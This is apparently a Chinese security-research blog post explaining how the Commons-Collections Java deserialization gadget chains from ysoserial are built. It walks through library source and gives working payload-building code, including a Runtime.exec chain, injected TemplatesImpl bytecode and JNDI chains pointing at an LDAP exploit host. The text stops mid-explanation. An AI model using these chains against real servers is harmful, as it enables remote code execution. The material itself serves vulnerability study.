整过Fastjson、Jackson和XML反序列化之后,感觉还需要对Commons-Collections链来个更清晰的认识,所以决定从ysoserial源码和CC链源码出发,复原整个链是如何构造出来的

1 基础

首先要说一个重要假设,如果某台服务器上,开了一个服务,接受java序列化字节码,并且使用ObjectInputStream.readObject方法进行反序列化,应该如何利用?

  • 直接写一个恶意java类,例如Test,并在其中写入命令执行的代码,序列化后传给服务器,可以在服务器上执行吗?当然不行!因为没有Test类,服务器上执行readObject的时候直接报错,找不到Test类
  • 必须用服务器上存在的类,怎么让它在readObject执行过程中触发呢?这里就是CC链的重要意义了,如果反序列化的类定义了readObject方法,服务器上执行ObjectInputStream.readObject时,会自动调用反序列化类中的readObject方法,更进一步的,如果反序列化类的readObject方法中执行了该类成员变量的某些方法,而这些成员变量是可控的,一个反序列化利用或许就出现了

在readObject反序列化中有个重要利用链就是Commons-Collections组件的利用链,该组件是各种中间件必用的组件,所以可以利用的范围广泛!

CC链(Commons-Collections)中非常重要的就是几个Transformer类、HashMap、HashSet、HashTable、LazyMap、TiedMapEntry、BadAttributeValueExpException、AnnotationInvocationHandler、Proxy.newProxyInstance,看着好像很多有点唬人,其实理解之后会发现都不是大问题,特别是看过这些类的源码之后,每个利用链就会很清晰。一个一个来:

ConstantTransformer

这个类的作用就是保存一个对象而已,创建实例时需要传入一个需要保存的对象,调用实例的transform即可获得其中的常量,没有多余的处理逻辑(推荐直接看源码)

public O transform(final I input) {
return iConstant;
}

InvokeTransformer

这个类的主要功能就是执行某个对象的某个方法,直接上源码

//构造函数
public InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes != null ? paramTypes.clone() : null;
iArgs = args != null ? args.clone() : null;
}
//功能函数
public O transform(final Object input) {
if (input == null) {
return null;
}
try {
final Class<?> cls = input.getClass();
final Method method = cls.getMethod(iMethodName, iParamTypes);
return (O) method.invoke(input, iArgs);
}catch (...){...}
  • 构造函数要求传入方法名,方法需要参数类型,具体参数
  • 功能函数transform需要传入一个对象,然后执行构造函数中给定的方法

其实这个类的功能就是反射执行一个类的特定方法而已

ChainedTransformer

这个类创建实例时,需要传入一个Transformer数组,该类的功能就是遍历执行Transformer数组的transform函数,并且将上一次的transform函数的执行结果作为下一次transform的输入,看源码

public T transform(T object) {
for (final Transformer<? super T, ? extends T> iTransformer : iTransformers) {
object = iTransformer.transform(object);
}
return object;
}

其中的iTransformer就是创建时传入的Transformer数组。

到这里,三个Transformer其实就可以连接起来了,先创建一个Transformer数组,用ConstantTransformer起手,传入一个对象,用InvokeTransformer一步一步调用函数,再将数组传入ChainedTransformer,调用其transform函数。

举例,先定义一个Test类

public static class Test{
public String name; public Test setName(String name) {
System.out.println("setName to " + name);
this.name = name;
return this;
} public String getName(){
System.out.println("getName " + this.name);
return this.name;
}
}

再写一个transformer数组,并传入ChainedTransformer,调用transform方法

从例子不难理解,chainedTransformer调用过程和object.xxx().yyy().zzz()是一样的,只是需要用InvokerTransformer来完成。那Transformer数组就可以组合成任意想要执行的代码,例如

Transformer[] transformer = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{0, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(null);

这个利用链等价于Runtime.class.getMethod("getRuntime", null).invoke(null, null).exec("calc")

或者也可以用chainedTransformer链调用JdbcRowSetImple,恰好它还继承了Serializable,可以序列化,所以只需要设置一下dataSourceName属性再调用autoCommit即可触发JNDI注入,就不展开说明了,了解过fastjson漏洞就清楚了。代码如下

String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); Transformer[] transformer = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

LazyMap

前面ChainedTransformer已经可以打通命令执行或者代码执行了,那么如何在readObject之后,执行到transform函数呢,先一步一步来。一般都不会有什么代码直接写个xxx.transform(null),所以需要进一步包装一下。恰好有个LazyMap,关键源代码如下

//静态方法,创建LazyMap实例
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
// 构造函数,将传入的Transformer设定为this.factory
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
// 重点方法,里面会调用到this.factory.transform()
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

简单看一下源代码就知道,如果传入的map是一个空的map,在get函数中就一定会指定factory.transform(key),而factory又是我们传入的chainedTransformr实例,所以调用了lazyMap.get,就会命令执行了。(补充:这个类定义了writeObject和readObject方法,所以可以实例化)

HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
lazyMap.get(123);

TiedMapEntry

其实LazyMap的get方法已经可以结合一些类的readObject方法实现调用链了,但是通过TiedMapEntry可以进一步扩展调用链,看几个关键源代码

//构造函数,map可以传入lazyMap,key随便传一个字符串即可
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
//重点在于map.get(key)=lazyMap.get(key)->chainedTransformer.transform()
public Object getValue() {
return map.get(key);
}
//equals方法,重点在于调用了getValue()->map.get(key)
public boolean equals(Object obj) {
if (obj == this) {
return true;
}
if (obj instanceof Map.Entry == false) {
return false;
}
Map.Entry other = (Map.Entry) obj;
Object value = getValue();
return
(key == null ? other.getKey() == null : key.equals(other.getKey())) &&
(value == null ? other.getValue() == null : value.equals(other.getValue()));
}
//hashCode方法,重点也是getValue()->map.get(key)
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
//toString方法,getValue()->map.get(key)
public String toString() {
return getKey() + "=" + getValue();
}

这个类简直是宝藏啊!把一个单纯的get方法,直接扩展了4个方向,也就是说,找到某些类的readObject方法执行过程中,调用到了成员实例的getValue、equels、hashcode、toString方法,只要把成员是TiedMapEntry实例,就可以构成一个反序列化的链了。

TransformingComparator

这个类主要是把transform调用放在了compare函数中,相当于增加了一个利用链的方向,看看关键源代码

//构造函数
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
// compare函数,无判断条件直接调用transform
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

这里利用链就比较简单了,很明显只要readObject过程中调用了实例的compare方法,就可以触发了。

PriorityQueue

这个类的核心在于readObject方法一路调用之后(readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)),执行到comparator.compare(e),其中e是该类队列中的变量,可以在序列化前放进去。

到这里需要结合另一个类,TransformingComparator来食用,TransformingComparator的compare和构造方法如下

// 构造方法
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
// compare方法
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

很明显构造方法传入一个tansformer对象即可,然后配合前面的调用链,执行到transform函数,所以这个类的整体调用链如下

readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)->TransformingComparator.compare(e)->transformer.transform(e))

实际上已经连接到Transformer了,用ChainedTransoformer或其它方法都可以实现RCE。到这里ysoserial的作者为了实现任意代码执行,使用了另一个类:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl下面展开一下这个类

TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是jdk自带的类,里面用到的核心方法如下

// 核心方法1,newTransformer
public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory); if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
} if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

这里代码看到getTransletInstance调用,跟进一下

// 核心方法2 getTransletInstance
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
} return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

可以看到__class==null时,会执行defineTransletClasses(),而后__class[_transletIndex].newInstance(),在数组中取出一个类对象调用newInstance方法。也就是说最终会产生一个类对象。进一步跟进defineTransletClasses方法看看

// 核心方法3,defineTransletClasses,根据字节码,创建类对象
private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { // 这里如果_bytecodes==null,程序直接报错,所以不能为null
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
} // 获取classLoader,用于后面加载类的字节码
TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
}); try {
// 创建常量
final int classCount = _bytecodes.length;
_class = new Class[classCount]; if (classCount > 1) {
_auxClasses = new Hashtable();
} for (int i = 0; i < classCount; i++) {
// 循环使用defineClass加载类字节码,返回类对象
_class[i] = loader.defineClass(_bytecodes[i]);
// 省略后的代码,后面基本不用看了,因为没有对__class数组产生影响,返回前面的getTransletInstance函数中
}
}
catch() { //异常处理,省略 }
}

返回到getTransletInstance,关键在于执行了__class[_transletIndex].newInstance()创建类对象,这一步就可以在自定义的恶意类静态代码块添加恶意代码了

2 实现readObject方法的类及其利用链

前面基础部分已经把命令执行或任意java代码执行串联到,只需要执行get、equals、hashCode、toString、compare、getValue方法了,现在来找一些实现了readObject方法,并且可以其过程中调用了内部实例的get、equals等方法,就可以构成一个反序列化利用链了。

BadAttributeValueExpExceptionCC

这里就不用ysoserial定义的Commons-Collections 1-7来称呼了,一点也不好记,用实现了readObject方法的类名+CC简称更容易记忆和感受一些。

BadAttributeValueExpException实现了readObjcet方法,并且其中有个valObj.toString方法

class BadAttributeValueExpException{
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null); if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
// 构造函数
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
}

这里是不是正好想到了前面的TiedMapEntry的toString方法!如果把valObj变成TiedMapEntry的实例,直接就从readObjct连到transform了。来看看上面的关键源代码,valObj就是val这个成员,再看看构造函数,this.val会被转换为val.toString,因此不能new BadAttributeValueExpException时传入TiedMapEntry,需要使用反射在创建BadAttributeValueExpException对象后修改其val成员变量:

// 省略chainedTransformer创建的过程,直接从前面拿过来就可以了
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxxx"); BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
try{
// 反射修改val
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, tiedMapEntry);
}catch (Exception e){e.printStackTrace();} // 本地写文件验证
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(expException);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();

如果感觉写文件验证不够严谨,可以创建一个socket服务端,本地把序列化后的字节流传给socket服务端,服务端把接收的字节流直接readObject即可验证

这里的利用链也比较清晰

PriorityQueueCC

ysoserial原生调用链如下

readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)->
TransformingComparator.compare(e)->transformer.transform(e))->invokerTransformer.transform(e)->
TemplatesImpl.newTransform->TemplatesImpl.getTransletInstance->_class[_transletIndex].newInstance()

看到调用链,结合前面提到的关键函数,这个链也就很好理解了,上代码

// 需要反射的两个类
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; // 这里需要借助javassist中的相关方法,动态创建类,动态添加类方法和静态代码块
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("PriorityQueueCCC");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 用来保存字节码
byte[] bytes = payload.toBytecode(); // 反射创建TemplatesImpl类实例
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
// 反射修改其中的_bytecodes属性
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes}); // 反射修改其中的_name属性
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test"); // 创建InvokerTransformer实例,并写好newTransfomer方法调用
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
// 创建TransformingComparator实例,放在后面的PriorityQueue中
TransformingComparator comparator=new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1); // 反射修改PriorityQueue中的comparator变量,反序列化后,会自动调用comparator.compare方法
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator); // 修改PriorityQueue中的queue变量,因为反序列化后,queue中的对象会传入comparator.compare方法中,
// 然后调用到templatesImpl.newTransform
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl}); // 模拟序列化和反序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();

PriorityQueueCC2

前面使用TemplatesImpl属实麻烦,直接把transformer处改成ChainedTransformer的实例即可,所以稍微改了一下PriorityQueueCC链

String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); Transformer[] transformer = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2); // 反射修改comparator
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, transformingComparator); // 模拟序列化和反序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(priorityQueue);
outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();

HashMapCC

HashMap实现了readObject方法,在反序列化后,会执行它的readObject方法,其方法中关键在于执行了hash(key)->key.hashCode()这个调用链,那很明显,跟前面的TiedMapEntry就可以接起来了。先看看HashMap中涉及到的核心方法

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
// 省略很多不相关代码,以及读取字节码中数据的代码 // 读取key和value,put到HashMap的mapping中
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
} static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里可以看到,最后putVal前执行了hash(key),跟进HashMap.hash(key),可以看到,直接调用了key.hashCode方法,如果把key设置为TiedMapEntry的实例,直接就把利用链构造出来了。所以,代码如下

String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
}; HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test"); HashMap hashMap1 = new HashMap(1);
// 由于是执行了key.hashCode(),所以要把tiedMapEntry作为key
hashMap1.put(tiedMapEntry, "test");
lazyMap.clear(); // hashmap.put时本地触发exp链,map.put->map.hash->entry.hashcode->lazymap.get->transform
// 由于创建hashmap后,会自动给lazyMap添加一个<key,value>,所以要remove掉这个键值对
// 以保证lazyMap.get时,map.containsKey(key) == false,从而进入transform函数 Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformer); try{
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(hashMap1);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}catch (Exception e){e.printStackTrace();}

HashSetCC

HashSet的readObject方法中,创建了HashMap,并用HashMap的实例put反序列化出来的对象

private void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {
// 省略读取字节码的部分
// Create backing HashMap 创建一个map对象,三元表达式结果会创建一个HashMap对象,而且LinkedHashMap继承自HashMap并且没有重写put方法
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor)); // Read in all elements in the proper order. 关键在于执行了map.put
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

这个利用链和前面的HashMap利用链接上了,map.put(e, PRESENT)=HashMap.put(e, PRESENT)->HashMap.hash(e)->e.hashCode()

所以只需要把tiedMapEntry放进HashSet即可完成利用链的构造

String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
}; // chainedTransformer.transform(null);
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test"); HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test"); // 由于创建hashset后,会自动给lazyMap添加一个key-value,所以要remove掉这个键值对
// 以保证lazyMap.get时,map.containsKey(key) == false,从而进入transform函数
// 避免hashset.add时本地触发exp add->map.put->map.hash->entry.hashcode->lazymap.get->transform Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformer);
try{
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(hashSet);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}catch (Exception e){e.printStackTrace();}

HashTableCC

先看看HashTable的readObject方法

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException
{
// 省略前面不相关代码
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject(); // 读取key
@SuppressWarnings("unchecked")
V value = (V)s.readObject(); // 读取value
// synch could be eliminated for performance
reconstitutionPut(table, key, value); // 给内部table添加key-value
}
}

跟进reconstitutionPut方法

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode(); // 注意这里
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) { // 注意key.equals()
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

很明显了,看到key.hashCode可以直接和TiedMapEntry链接起来;而key.equals也可以执行执行吗?

先来看看HashTable->TiedMapEntry->LazyMap->ChainedTransformer的利用链

String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
// 创建lazyMap
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
lazyMap.put("test", 1); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test"); Hashtable hashtable = new Hashtable(1);
hashtable.put(tiedMapEntry, 1);
lazyMap.remove("test"); // 由于创建hashtable后,会自动给lazyMap添加一个key-value,所以要remove掉这个键值对
// 以保证反序列化后,lazyMap.get时,map.containsKey(key) = false,从而进入transform函数 Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformer); // 本地写文件
try{
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(hashtable);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}catch (Exception e){e.printStackTrace();}

这个链主要是在HashTable.reconstitutionPut中调用key.hashCode()方法,而这个key可以被设置为tiedMapEntry对象,所以就形成了HashTable->TiedMapEntry->..ChainedTransformer的利用链。

HashTableCC2

然后再来看看key.equals的触发点,这里需要对lazyMap进一步解析,特别是其内部的map。我们在创建lazyMap的时候,传入了一个HashMap,又由于LazyMap继承自AbstractMapDecorator,所以其map属性定义也是继承自AbstractMapDecorator。

// 类的继承关系
public class LazyMap extends AbstractMapDecorator implements Map, Serializable{
// 创建lazyMap的方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
} // 构造函数
protected LazyMap(Map map, Transformer factory) {
super(map); // 调用父类的构造方法
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
// super(map) 父类构造函数
public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
}
this.map = map; // 注意这里,this.map=传进来的map,也就是HashMap
}
}

然后this.map=HashMap,所以看看HashMap的源码

public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable

看到HashMap继承了AbstractMap,跟进看一下AbstractMap的源码,并且主要看一下equals方法!

public boolean equals(Object o) {
if (o == this)
return true; if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o; // 这里转换了一下变量名 m = o
if (m.size() != size())
return false; try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key))) // 执行了m.get()
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch () { //省略} return true;
}

到这里,如果m就是我们输入的lazyMap,结合前面提到过的lazyMap.get->transformer.transform,那直接就进入恶意代码环节了。所以先来个利用代码,再梳理一下利用链

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
}; Map map1=new HashMap();
Map map2=new HashMap(); Map lazyMap1= LazyMap.decorate(map1,chainedTransformer);
Map lazyMap2= LazyMap.decorate(map2,chainedTransformer);
Field f = Class.forName("org.apache.commons.collections.map.AbstractMapDecorator").getDeclaredField("map");
f.setAccessible(true);
Object map = f.get(lazyMap1);
System.out.println(map.getClass().getName()); lazyMap1.put("yy",1);
lazyMap2.put("zZ",1); Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("yy"); //避免hashtable.put本地触发exp
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformer); // 读写文件测试
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(hashtable);
outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();

反序列化的时候是这样触发的:

HashTable.readObject()
Hashtable.reconstitutionPut() 源码 -> e.key.equals(key) 这里e.key是一个lazyMap,key也是lazyMap

lazyMap本身没有实现equals方法,继承了AbstractMapDecorator,所以调用父类的equals方法

AbstractMapDecorator.equals(key)  源码 -> return this.map.equals(key)
HashMap.equals(key)
AbstractMap.equals(key)
m.get(xx) <=> lazyMap.get(xx)

AbstractMapDecorator.equals源代码中,使用其实例中map成员的equals方法,即return this.map.equals(key)

由于创建lazyMap时,传入的是一个HashMap,所以调用了HashMap.equals,而HashMap继承自AbstractMap,并且没有重写equals方法,所以实际上调用AbstractMap.equals(key)。

在上面AbstractMap.equals(key)源码会存在m=o,再m.get(key),实际上参数o就是一个之前从Hashtable.reconstitutionPut()一路传递进去的那个key,也就是lazyMap,所以这里就等于是执行lazyMap.get(xx),到此利用链就连起来了。

最后给个IDEA报错提示,看看调用链

at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132)
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151)
at java.util.AbstractMap.equals(AbstractMap.java:472)
at org.apache.commons.collections.map.AbstractMapDecorator.equals(AbstractMapDecorator.java:129)
at java.util.Hashtable.reconstitutionPut(Hashtable.java:1221)
at java.util.Hashtable.readObject(Hashtable.java:1195)

这个利用链似乎有点绕,但多看看源码和利用代码,还是比较容易理解的

AnnotationInvocationHandlerCC

这个利用链,主要是用到了AnnotationInvocationHandler类,它继承了InvocationHandler和Serializable,并且还重写了readObject方法。

先来看看继承InvocationHandler代表什么含义:在java中提供了一种动态代理创建对象的方式,也就是Proxy.newProxyInstance()方法,这个方法需要三个参数:

  • classLoader
  • 被创建类实现的所有接口
  • InvocationHandler实例

被动态代理创建的对象,调用任意方法时,都会先调用代理类,也就是InvocationHandler实例的invoke方法,可以参照栗子

那么回到AnnotationInvocationHandler,看看它的readObject方法和invoke方法

public Object invoke(Object var1, Method var2, Object[] var3) {
//有点长,省略一些不太相关代码,想详细看的话,可以直接看看源码
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4); // 注意这里,调用了this.memberValues.get()
// 省略后方代码
}
}
// readObject方法
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null; try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
